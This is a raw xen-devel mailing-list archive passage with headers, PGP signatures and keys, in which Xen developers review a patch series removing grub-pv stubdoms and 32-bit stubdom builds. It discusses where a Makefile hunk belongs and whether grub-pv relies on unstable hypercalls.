Date: Tue, 7 Jul 2026 10:42:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/5] stubdom: remove support for building in 32-bit mode
To: Juergen Gross <jgross@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 xen-devel@lists.xenproject.org
References: <20260707083459.226297-1-jgross@suse.com>
 <20260707083459.226297-3-jgross@suse.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgm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0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260707083459.226297-3-jgross@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783413760-FF0C41E0-3FE71942/0/0
X-purgate-type: clean
X-purgate-size: 516

On 07.07.2026 10:34, Juergen Gross wrote:
> --- a/Makefile
> +++ b/Makefile
> @@ -146,9 +146,6 @@ install-tools: install-tools-public-headers
>  .PHONY: install-stubdom
>  install-stubdom: mini-os-dir install-tools-public-headers
>  	$(MAKE) -C stubdom install
> -ifeq (x86_64,$(XEN_TARGET_ARCH))
> -	XEN_TARGET_ARCH=x86_32 $(MAKE) -C stubdom install-grub-if-enabled
> -endif

Doesn't this belong in patch 1, together with the build-stubdom: rule
adjustment? Or does that other hunk belong here?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:45:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:45:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356105.1610760 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1QO-00063A-Qh; Tue, 07 Jul 2026 08:45:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356105.1610760; Tue, 07 Jul 2026 08:45:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1QO-000633-Nu; Tue, 07 Jul 2026 08:45:04 +0000
Received: by outflank-mailman (input) for mailman id 1356105;
 Tue, 07 Jul 2026 08:45:04 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh1QN-00062x-VN
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:45:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1QN-00CWtg-Bx
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:45:03 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cbc80-5cb7-0a2a0a5109dd-0a2a450990f2-38
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:45:03 +0200
Received: from [209.85.218.46] (helo=mail-ej1-f46.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cbc8f-97e6-0a2a45090019-d155da2eb5ff-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:45:03 +0200
Received: by mail-ej1-f46.google.com with SMTP id
 a640c23a62f3a-c125fbfbae0so390421866b.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 01:45:03 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c15ad9bca17sm85491066b.32.2026.07.07.01.45.00
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 01:45:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783413903; x=1784018703; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=t0hAigDkVXb5l9InBeV60wbIEQrEf+q8hzy9UREv3zg=;
        b=MBf4asI3NXWtIUZHyzN5wmsXbUEDc8xtIHb/G/54aFO4GB+RvjXxiuy7ZpF8EGk3t+
         qI4k1XAmifqEp7i8lKphnTqOhCd5dacCrS5JzIXHMcP2XmS2VMB6ZzzGRNyyWguqL3EY
         8KFrcgI9+t/zjaYif5yuzqx84wBpgerUrRthJZu4QGaazIvefjVkkCIlSQdoUlymUYAG
         a3QRETx6456+c8YcSwR1ir5yCKJehbOzwoQ8ul9jCBZwfa49XHJYVLpxIkRDIUymcK9i
         2LVXljrtI+Wtyg1nuyaMyo8fNjg3B0h6oVl/TMloMqP76PAhHyjcTniqYeBBE02YETVb
         /GTw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783413903; x=1784018703;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=t0hAigDkVXb5l9InBeV60wbIEQrEf+q8hzy9UREv3zg=;
        b=eB30nA+BvnFMl1fceOmdasi2fSlvqd/OnszGWdw8igqzm93n19SA2rG/1CbXjEIc6n
         U2cvAYicuywP5R11j+Avo5NoCazCgh6QfLFksT64iVZsiEq7YvArsvGMSDMYKHgZ8IlS
         u6SbIjz4lNZqKKTSuEzgB0XeaYgSSxVm6s/BUqOXi4FRcAQ6hAyrLog+cr9Gc5Pb8Z8g
         3B5xFF1xEX0aBxP7fh/8Co7rmcDW7nhbsLs5r+u0j8aV/0r8Z9nEZ/TEyZljXtK9QBJb
         SYU/7mBe6NXoehldtd35FcqEmCKTYSP0ia1QozZihAHHyOziQ8AgS3UIud8zIYbOD0r3
         9Gpg==
X-Forwarded-Encrypted: i=1; AHgh+RoHkL9AAOYCGQt/94S+GTm1AUHy+ukgDVW/7iG4pJg8hoRDJvQptlAKEdgX5yREnrHaqpJeUW46ISY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyQ4bvVulPRSCecJ5txz8hOAWAzeJfUYWkRBQVNNqn9f0mokJoP
	BSq7Z21lNQE2EDEB2r3sOy9cZO2qs6/eQ/amuRca/2VcNOJH8qyTBn61faQ+4pGyT+o=
X-Gm-Gg: AfdE7cmBhWJff3oyb4ys1BujVs3OSc3SMdL10cIZcAezimsjM72wOQD3RWvnbSz7ak3
	XbbuysCYw+N0y8YcztKcJwyZP0Kn3JseZlbYQM2HVXs2MZHQ1EF5/AK1j05qT9nDAZm7EVXQbU5
	oz7KehsPRoSXRLqXbVDcCjZEfxR2r9pBRDOPanBKRIU1vlhNUpBNbxGUWR0Uj0MP9w5P+xVJJRE
	1JV+ba6h+f1sETu45jtpsWVVqFdnxGnoGkDIETV7d0HUHI5mlVn5HNNf2sgfZti/rC5XJGWZPBz
	c5acLWJeVMA3bZZzKgcStjqqd6LYeYY7ZN+uMaHwV1TASgIJSkceEeTiMpXaKhzaj4hI2KmlHE4
	nHqg5hfENTAjbAaY3eBBxC5e0FzO2O1nnvg1rhxyoslx4V0MyM4JXHvNtqQ2bnOmDO8/5Ob2axL
	OeWcXGDonnj+NzzznC4aNFZK41aXAAe8iiyoUA4zP2yuQ4u1GtIZnScxRTgXqF1gdXQWFhlPgAa
	jigGA2UCRHhYhcjg3jsZupUp54yQ4zNhf/n1/5mWbU=
X-Received: by 2002:a17:907:787:b0:c12:4988:f0ba with SMTP id a640c23a62f3a-c15a66b3211mr240306666b.11.1783413901843;
        Tue, 07 Jul 2026 01:45:01 -0700 (PDT)
Message-ID: <5edc7c12-8563-4369-bb9a-2f614b74eb31@suse.com>
Date: Tue, 7 Jul 2026 10:44:59 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/5] stubdom: remove grub-pv
To: Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 xen-devel@lists.xenproject.org
References: <20260707083459.226297-1-jgross@suse.com>
 <eac4528a-f9b3-476e-adea-63d317ef30fe@suse.com>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9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k
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <eac4528a-f9b3-476e-adea-63d317ef30fe@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------IzMc1pt0J82AFW0VP25iQzrN"
X-purgate-ID: tlsNG-bad1c0/1783413903-46D3C986-B6088749/0/0
X-purgate-type: clean
X-purgate-size: 9181

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------IzMc1pt0J82AFW0VP25iQzrN
Content-Type: multipart/mixed; boundary="------------9Slt4KTno3F2bc0iEzLAbXfd";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 xen-devel@lists.xenproject.org
Message-ID: <5edc7c12-8563-4369-bb9a-2f614b74eb31@suse.com>
Subject: Re: [PATCH 0/5] stubdom: remove grub-pv
References: <20260707083459.226297-1-jgross@suse.com>
 <eac4528a-f9b3-476e-adea-63d317ef30fe@suse.com>
In-Reply-To: <eac4528a-f9b3-476e-adea-63d317ef30fe@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2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/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------9Slt4KTno3F2bc0iEzLAbXfd
Content-Type: multipart/mixed; boundary="------------idWWw93KOFu2EgbkGd14cHXT"

--------------idWWw93KOFu2EgbkGd14cHXT
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDcuMDcuMjYgMTA6MzksIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAwNy4wNy4yMDI2
IDEwOjM0LCBKdWVyZ2VuIEdyb3NzIHdyb3RlOg0KPj4gVGhlIGdydWItcHYgc3R1YmRvbXMg
KDMyLSBhbmQgNjQtYml0KSBhcmUgZGlzYWJsZWQgYnkgZGVmYXVsdCBzaW5jZQ0KPj4gc2V2
ZXJhbCB5ZWFycyBub3cuDQo+Pg0KPj4gUmVtb3ZlIHRoZW0gaW4gb3JkZXIgdG8gZW5hYmxl
IHJlbW92aW5nIHF1aXRlIHNvbWUgbW9yZSBjb2RlIGZyb20gWGVuLg0KPj4gSW4gY2FzZSBz
b21lb25lIGlzIHJlYWxseSBkZXBlbmRpbmcgb24gZ3J1Yi1wdiwgdGhleSBjYW4gZWFzaWx5
IHRha2UgaXQNCj4+IGZyb20gYW4gb2xkZXIgWGVuIGJ1aWxkLCBhcyB0aGVyZSBpcyBubyBY
ZW4gdmVyc2lvbiBkZXBlbmRlbmN5IGluDQo+PiBncnViLXB2IChhIHZlcnNpb24gYnVpbHQg
MyB5ZWFycyBhZ28gaGFzIGJlZW4gdGVzdGVkIHRvIHN0aWxsIHdvcmsNCj4+IHdpdGggY3Vy
cmVudCA0LjIzIHN0YWdpbmcgWGVuKS4NCj4gDQo+IFdoYXQgZ3VhcmFudGVlcyB0aGlzIHRv
IHJlbWFpbiB0aGlzIHdheSwgd2hlbiAuLi4NCj4gDQo+PiBKdWVyZ2VuIEdyb3NzICg1KToN
Cj4+ICAgIHN0dWJkb206IHJlbW92ZSBzdXBwb3J0IGZvciBncnViLXB2DQo+PiAgICBzdHVi
ZG9tOiByZW1vdmUgc3VwcG9ydCBmb3IgYnVpbGRpbmcgaW4gMzItYml0IG1vZGUNCj4+ICAg
IHN0dWJkb206IHJlbW92ZSBidWlsZGluZyBvZiBsaWJ4ZW5ndWVzdCBhbmQgbGlieGVuY3Ry
bA0KPiANCj4gLi4uIHRoZXJlIHdhcyB0aGlzIGRlcGVuZGVuY3kgb24gKHVuc3RhYmxlKSBs
aWJyYXJpZXM/DQoNCk9ubHkgc3RhYmxlIGh5cGVyY2FsbHMgYXJlIGJlaW5nIHVzZWQuIE90
aGVyd2lzZSB0aGUgZG9tY3RsIHZlcnNpb24NCmNoZWNrIHdvdWxkIGZhaWwsIHJpZ2h0Pw0K
DQpJIGRpZCBhIHJldmlldyBvZiB0aGUgc3R1YmRvbSBzcGVjaWZpYyBncnViIGNvZGUgYW5k
IGRpZG4ndCBzcG90IGFueQ0KdXNlIG9mIGFuIHVuc3RhYmxlIGh5cGVyY2FsbCwgQlRXLg0K
DQoNCkp1ZXJnZW4NCg==
--------------idWWw93KOFu2EgbkGd14cHXT
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-print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UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------idWWw93KOFu2EgbkGd14cHXT--

--------------9Slt4KTno3F2bc0iEzLAbXfd--

--------------IzMc1pt0J82AFW0VP25iQzrN
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpMvIsFAwAAAAAACgkQsN6d1ii/Ey8D
IQf/YYQrdKjzD6zqUqr7lwjQOZphY1pB/b0epL9Paw+RK05U5U7KmX4raK7JResFP25A9dmZAx9d
XdnV5k2ISIRBazkXKkfbJ4KNKDLbRCATsDgJg6MWdNCwjQfYgglulZx/f3TfmOVFN+YRc0ohL9vt
WHxgGvsmoIWm0ww42lrtmPBu6rNJ1W6CYUIdnOzSUzTUlmDoCf1AXGM3KUzHjtZKB9I+PqRIq28h
3Fhu9w2mnIUAdcGNFmV+nSZZYU41gTm7fYhFqwvEQH0jP25cLVtBH2rF+WWmQ+4O1G1sOYg2q8Jo
svaXhgtZyLLuZY+VHup34eJ6oMZ/Frfi5qMtTnGvoQ==
=zcd2
-----END PGP SIGNATURE-----

--------------IzMc1pt0J82AFW0VP25iQzrN--


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:46:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:46:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356114.1610769 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1S5-0006ak-9n; Tue, 07 Jul 2026 08:46:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356114.1610769; Tue, 07 Jul 2026 08:46:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1S5-0006ad-6R; Tue, 07 Jul 2026 08:46:49 +0000
Received: by outflank-mailman (input) for mailman id 1356114;
 Tue, 07 Jul 2026 08:46:48 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh1S3-0006aX-Rk
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:46:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1S3-00D3Px-8L
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:46:47 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cbcf2-5cb7-0a2a0a5109dd-0a2a4505816c-16
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:46:47 +0200
Received: from [209.85.218.42] (helo=mail-ej1-f42.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cbcf7-3cb2-0a2a45050019-d155da2ad011-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:46:47 +0200
Received: by mail-ej1-f42.google.com with SMTP id
 a640c23a62f3a-c127813835aso461476666b.2
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 01:46:47 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c15ad8839c3sm84405766b.27.2026.07.07.01.46.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 01:46:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783414007; x=1784018807; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=lap411XLby4GX32eZ8FIbkxw2VObg6cn5outMOFrUuA=;
        b=W8LB57CpQteHd5c7E6p+HUVYVyukZWBrPr2w4hlxm+T0LJm6MrDyrovFdwQWHcxLqR
         anliXd5ZtT2gRB8qpCfSyJjSP5OnnA43Qp50obWTALHWW2ae2kqCpbkClxJP6vheF1bn
         Fsnc2uw77vvdRc+X8iNB2Cnzh9Mrc6bDfGodC0X0K9aL6TwXS4ysXRajYrYjMTE2ZkrQ
         T2lVL6p8u8up8knwHo2atd30lHWmpczHsUJJ3uDyGA8f8U2oRubgadQNQgSc4HVbr2rg
         /QxNejYrGwaKGbeMB2TO+/j8j777fBldSKdkLRm893up5brSvVaA3eFqyVoSpOXaoe/U
         H1Ug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783414007; x=1784018807;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=lap411XLby4GX32eZ8FIbkxw2VObg6cn5outMOFrUuA=;
        b=lNWBlRUOZ5z7ezMK8sv/ZtpQAAmMk8f/spcy9DA47AJvRDOKUuMQVqYz3a1ODec3uX
         MBZmrLmKltN+0Crx2yrIfkvMxof7TU6X1T11mGCAQZD1g4VdQpzsRePRtEfPEh+JPtFM
         A9vNybGOE2SXdPxzttARBwStt64bSasJu9npuIwSiTznSh4X2uYOQrD24QEYKOUK6E3b
         4r4YzhbPQt6hbYOKoDqZ5556xOy+udqzJ/+CdgIJBvhDs/c/tiw/4+ima/Qlk01WGDtu
         sW6YFywld28pGGfkxqT6OmMN/z4sNRYKfLuZrY9JC7DM4Vn1wlKXUEtNVbc7u0f/9tfY
         SNqw==
X-Forwarded-Encrypted: i=1; AHgh+Rph3J50s6BCAdpwAXNmMu4YJMIMI28M/0cBWS0MhXC5shSFvvNqX9swr2kczcu94grk81D6E8mMNi8=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx0W3Oy8SCsdupAV7ikY2pKT1yt7LwW6XPAMcOb+SR8Tf6RPs3L
	R+Ywx3JoJ+UcXLa2AD+ssXohdg/z9rUZPeXdDV6WLUlXu/quKz8BSps4qynGpqVDKiE=
X-Gm-Gg: AfdE7cnx7/U+s1YWQsNXvNzlsTnRlPIIuKJyInD+y/XQpP2ZVR0lynPWeO9ezayfLFk
	TRFA/HXkPzhg/FDtstNqrUdRXqlXRXssna5mdDZLeHD7PQVYMik6wVj7/NLfy9i3A8H6Gm3QnFI
	6cUGhwLU9IwkNE/gsFA/Gp4Yxq+2VgJ+Op+sLl+tvnpbcn6UA+JoalHeRfA8aHcjAyuXlsdbqQX
	NjukBP7/io+zezqtPxyIXe18M+ys+5nfM/7s5w6DD6X19JsYTXFKeJmk1qd8v0vcem1VFQxQ10p
	vnocUveWMSPK7j7fw7TOFZ5HU+BpFtMlHHdtsTd375K21/5vb2iyoCK5Kb5brJth2mt+YGARIXy
	9EVdGLYgcG4ebx8FvBZ3Tp8oVM7o7xpd3TkBV3oH50mjLSxZ6CHIcC05DoVS3eF1yX+SzqqEEgJ
	H/8MIFOdl8PILRPE1HddnkDsj4Qo+oMeulmxfSgfrR5RIjKlfUFavLSZkNMMwcl1dbpErvE9x5v
	cI8uT3zwCDs/3RgpktagYRhL/GoDIDm+8aQECSIdgM=
X-Received: by 2002:a17:907:399b:b0:c12:40eb:9da4 with SMTP id a640c23a62f3a-c15a67dd9bfmr215303566b.3.1783414006596;
        Tue, 07 Jul 2026 01:46:46 -0700 (PDT)
Message-ID: <946fc933-79e8-4e48-82f8-af2695169d93@suse.com>
Date: Tue, 7 Jul 2026 10:46:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/5] stubdom: remove support for building in 32-bit mode
To: Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 xen-devel@lists.xenproject.org
References: <20260707083459.226297-1-jgross@suse.com>
 <20260707083459.226297-3-jgross@suse.com>
 <d3acd616-6ef8-4cb3-a1c0-b8955e0dc958@suse.com>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
